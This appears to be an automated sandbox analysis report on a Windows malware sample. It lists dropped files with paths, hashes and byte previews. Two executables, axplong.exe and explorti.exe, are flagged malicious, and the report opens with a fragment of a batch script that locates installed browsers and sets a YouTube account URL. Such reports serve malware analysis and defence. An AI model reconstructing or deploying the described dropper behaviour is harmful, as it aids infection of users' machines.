Preview:	@shift /0..@echo off..setlocal....set "URL=https://www.youtube.com/account"....rem Initialize paths..set "chromePath="..set "edgePath="..set "firefoxPath="....rem Hardcoded paths..set "ProgramFiles64=C:\Program Files"..set "ProgramFiles86=C:\Program Files (x86)"....rem Check for Chrome in 64-bit system directory..if exist "%ProgramFiles64%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles64%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in 32-bit system directory..if exist "%ProgramFiles86%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles86%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in user profiles..for /d %%u in ("%SystemDrive%\Users\*") do (.. if exist "%%u\AppData\Local\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%%u\AppData\Local\Google\Chrome\Application\chrome.exe".. goto check_edge.. )..)....:check_edge....rem C

C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Download File

Process:	C:\Users\user\AppData\RoamingBKEHDGDGHC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1929728
Entropy (8bit):	7.950023055229562
Encrypted:	false
SSDEEP:	49152:Hp1xNjgKwcs8ktH3FxhFb+9pzyqUnntttX0o:Jr+3csfVVxXbmp2q05X0o
MD5:	927614BDB1FFF68B49468BC4A3886F36
SHA1:	E684E796B2D93374C80E94D5B77FDD50C194A0D4
SHA-256:	30B7B1795AF4FA8F43CDF9595F5A266DDFA407E9E3BAB55B0684618EFC6BBD0D
SHA-512:	B8C84B98902D8B9B942D8B928A65E7F23465D773F9751F64695E011717AC84257D9D736781C7E9C239ED27B481F1C7FCA5A62A2EA3F255797F868E6D7A7829E7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L...*.^f.............................pL...........@...........................L.....>.....@.................................X...l............................WL.............................LWL..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...qhedmxhi.`....2..Z..................@...aflvgrfd.....`L......L..............@....taggant.0...pL.."...P..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\userBGCAFHCAKF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1879040
Entropy (8bit):	7.948729739938096
Encrypted:	false
SSDEEP:	49152:ILa2NeQ1KC15UUL4Cb/D9yH8ncUvuSbBGpcnmEJiA4P+yoOK:sNV1P150CzsccycGmEJiZP+y
MD5:	8DCA8723B206C803E7ACE213DF89B4F4
SHA1:	B5F6752C09E63F2278E423B3F93E4EEACF6F4CC4
SHA-256:	CC4CB57E8B5BA707022BC49E86BF7C26C645CBF3C838CCA83E36FB290CED2AB0
SHA-512:	A7928871C726CC5E04B4F55168731CBEA6C8BB2C5CBF2AB89F72F4F51D26317BF1A9A2555B1B8B8D60053C646C7D0A908AFC625965950AFE7D4852007DF38EF5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................J...........@...........................J..... .....@.................................X...l............................J.............................x.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .@*.........................@...xfxaajvq......0.....................@...zhkwsvqa......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c95670be-9893-4252-92f3-097621a4b7c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8060_950395693\manifest.fingerprint

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.87107305218322
Encrypted:	false
SSDEEP:	3:SddQLtQSnUunhU1mWrO2V:S/QZHThyay
MD5:	0C9218609241DBAA26EBA66D5AAF08AB
SHA1:	31F1437C07241E5F075268212C11A566CEB514EC
SHA-256:	52493422AC4C18918DC91EF5C4D0E50C130EA3AA99915FA542B890A79EA94F2B
SHA-512:	5D25A1FB8D9E902647673975F13D7CA11E1F00F3C19449973D6B466D333198768E777B8CAE5BECEF5C66C9A0C0EF320A65116B5070C66E3B9844461BB0FFA47F
Malicious:	false
Preview:	1.8BFD50D350D47445B57BB1D61BBDE41CEDA7AC43DC81FCE95BF1AC646D97D2A0

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8060_950395693\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	134
Entropy (8bit):	4.405914533496662
Encrypted:	false
SSDEEP:	3:3FFhAWAUNhRKpEbXKS2XAXMWxQHJCzhiFfASvAcWxQHJCr2SkhSA:3FFWeRl2QIpCU4SvrpCSSkhSA
MD5:	58D3CA1189DF439D0538A75912496BCF
SHA1:	99AF5B6A006A6929CC08744D1B54E3623FEC2F36
SHA-256:	A946DB31A6A985BDB64EA9F403294B479571CA3C22215742BDC26EA1CF123437
SHA-512:	AFD7F140E89472D4827156EC1C48DA488B0D06DAAA737351C7BEC6BC12EDFC4443460C4AC169287350934CA66FB2F883347ED8084C62CAF9F883A736243194A2
Malicious:	false
Preview:	{.. "description" : "AutoLaunch Protocols Preregistration",.. "name" : "Protocol Preregistration",.. "version" : "1.0.0.8"..}

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8060_950395693\protocols.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3164
Entropy (8bit):	4.532278538438865
Encrypted:	false
SSDEEP:	48:O//uidcRcrcNc0cTc8cs+PcrcNc0cTc8csLcrcNc0cTc8cstcrcNc0cTc8csH:O//uWJ2UH
MD5:	6BBB18BB210B0AF189F5D76A65F7AD80
SHA1:	87B804075E78AF64293611A637504273FADFE718
SHA-256:	01594D510A1BBC016897EC89402553ECA423DFDC8B82BAFBC5653BF0C976F57C
SHA-512:	4788EDCFA3911C3BB2BE8FC447166C330E8AC389F74E8C44E13238EAD2FA45C8538AEE325BD0D1CC40D91AD47DEA1AA94A92148A62983144FDECFF2130EE120D
Malicious:	false
Preview:	{.. "allow": [.. {.. "origins": [.. "https://.get.microsoft.com",.. "https://.apps.microsoft.com".. ],.. "protocol": "ms-windows-store".. },.. {.. "origins": [.. "https://.onedrive.com",.. "https://.onedrive.live.com",.. "https://sharepoint.com".. ],.. "protocol": "ms-word".. },.. {.. "origins": [.. "https://[a-z1-9-]word-edit.officeapps.live.com",.. "https://[a-z1-9-]word-view.officeapps.live.com",.. "https://[a-z1-9-]onenote.officeapps.live.com",.. "https://[a-z1-9-]eap.officeapps.live.com",.. "https://[a-z1-9-]shared.officeapps.live.com",.. "https://[a-z1-9-]afhs.officeapps.live.com",.. "https://[a-z1-9-]vhs.officeapps.live.com",.. "https://[a-z1-9-]optin.online.office.com".. ],.. "use_regex": true,.. "protocol": "ms-word".. },.. {.. "origins": [.. "https://.onedrive.com",.. "https://.onedrive.li

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.358296395635443
Encrypted:	false
SSDEEP:	6:YEe9ruP56s/ueXgONlRjkHvQJjDrwv/ueEj6Tv56s/C:Y5duP56s/rNNlZkHv0Dkv/rDv56s/C
MD5:	09565E79C2B04F3455E7AE3027532624
SHA1:	6D1FABC7D8C9532C92032B429DFDF2B49F723B24
SHA-256:	ACE3809314AA2FB0D429EA5CC7DE7E30523BE119E26BDCFE094E86672CAADF69
SHA-512:	C50F52CE62DECAA1128DA8784F22EA5FE4E98AFFF0CBAAEAEDE47EFAA48C03A7F3346D05676823E5ACF654DC2420122BC30BB5D1ED4039BF3E35CAC21D1DB648
Malicious:	false
Preview:	{"logTime": "0724/003927", "correlationVector":"mE/OF+O5qyqVrXhXoxFogQ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "0724/003927", "correlationVector":"C6E82B9AE1CD420596602AA9F7CD34DA","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "0724/003927", "correlationVector":"HIIR85MT4C/8p9EpKsWwTM","action":"EXTENSION_UPDATER", "result":""}.

C:\Users\user\AppData\Local\Temp\d3ed00b5-c348-41aa-acaa-e4e9d65e8601.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\ee9deff7-00c5-4cdc-bab2-c8cbed6a7ca7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 813318
Category:	dropped
Size (bytes):	477264
Entropy (8bit):	7.998319927578323
Encrypted:	true
SSDEEP:	12288:UeF3CR7OJ/hkqpZtHXZK2/Qfb47DemhEEzEKZlyG+:vFceB7XLQfbcCSEwEmlI
MD5:	F174BB78E74BCD5C21B2FBA23E7494BD
SHA1:	7A93EF37DA80FE5ECC7491B27D10A278E5923B7D
SHA-256:	EBADC730888C6A9395E75415192653C28F9541BF334CE338388D978B073EDB0B
SHA-512:	5E67730CC93AC0DCEDC78EA630616A2CF3F10656A30A2291DE7AC6F229FF1F85CCAD34377F3B2F895033E31010C98BDAE6DD20511FFCCE6BF210D3045E38B9DA
Malicious:	false
Preview:	...........}is..(>._.J........:..%.....N..I..h$.+...F... .. @.3,.l...zCw..h.!.L..W..srF...\|>#.d....2&..........-.._......B.mx..".s.\.....<P..~.-....{..l.sr..-.p..{......\|...n.. .%..............q.{........p^@.1.9..G._.....x..M..K.g.....3&?@...a0.k.a..'.b...;..........Zm.B..(.:....^.{ILC.}u..L.?.....)y........s.p.L.b..}..l.'.h...u...[ZCK..R+.:...^R.T_...m.1.R...H{9.!=...{...U-.Z..]z..7....?]g....R....\|.w.....pLp.........\|......1..Z...R..Ao...._.KO3.........u..(.nX...?U.N-(:...b........)yDn.c... ....a....H.9@@..BX....;..kd.f..\|O....q........<.o....\|;E.<F...a`^.1.+........k.........\.T9.L.Fc.F.B:....hw.-...=.A..t...k...0wp.r...:..e..7....a.O......0{.8...=J.:`..\..%.......-.T. .h.G./...z.F.a.f..`q.>..7......r...7..+.1.Yn.T.....0>6D.)...,..i._.Q~'.B!g..K..)Y......T.....>..4........'G....T..-.,..h.....E.!~Cg....M...%.Y....~..Fg...0..+.w.]Z...(..m.,)....6\.."/g..t.g..8..v.E..=...r.....O_.[kh.'...@.. .L..Q.Q..J...A.....T.L~.C......

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\msedge_url_fetcher_8060_651310331\ef5f792e-9df7-4748-accf-02ec33a4a2c4

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1874
Entropy (8bit):	7.6374348559363545
Encrypted:	false
SSDEEP:	48:K9gXuTgphzLcf9ZljWLQKfp1aAY8lmvsY:K9gXuTgzLm9feB18Iml
MD5:	E15208FF647AEA1698BFA7DA5287DF5E
SHA1:	BC5D6E7D0D71AE1BCAC13320EE237CE0ADC493F3
SHA-256:	8BFD50D350D47445B57BB1D61BBDE41CEDA7AC43DC81FCE95BF1AC646D97D2A0
SHA-512:	07E2435F9E609D92DAF97B5C6B75A79C9F8C229FACD24999A45D954AD2EDA130F7B7DEEAB6403F8518C5BFE2791B9796952C7EE58023488C90165CB1B0D5F47B
Malicious:	false
Preview:	Cr24....t.........0.."0....H.............0.........'U.....V..X.$.S.y.!.K.....E.$.......s......r.[.2...\.....hp.4O..!.;.....B.~Z..i..G..7......q,...q.j.;4y..K...6.I..A>d.>DHJ^t.F..g......7.....,_^.bhUl......!..Ss.......u..nc....:...L..+....U.f!O$.D"D].1.)/6..)8D..f....!.S....%.T..G...z.j..........\|....L.2!..Ch.e...k..g4u...x. ..!.......b..-.i.F....;.q.....<..=sj...e..%o........`....w...%.k:<..Q.....<...S.Wf.RP...z..).Jd.N..^q..O?..>F...Y........)..Lv.,_4..AW/...._,$UL...).g.`>...{.q.o........bNM....I."...V........w....4.G ..).\.h.......0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.......m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A........Mc.c..e.H<sk...\|R.]hd...V........lW".w.>..3.U......uL1q^.Q...<[$.r..n..9....s.l..G(,.....x..,q.;&l\%. ...0.S.I.J(..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_270990187\6b1e964a-8768-498d-abb3-9d2221d8e3e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8060_270990187\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8060_270990187\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8060_270990187\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8060_270990187\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
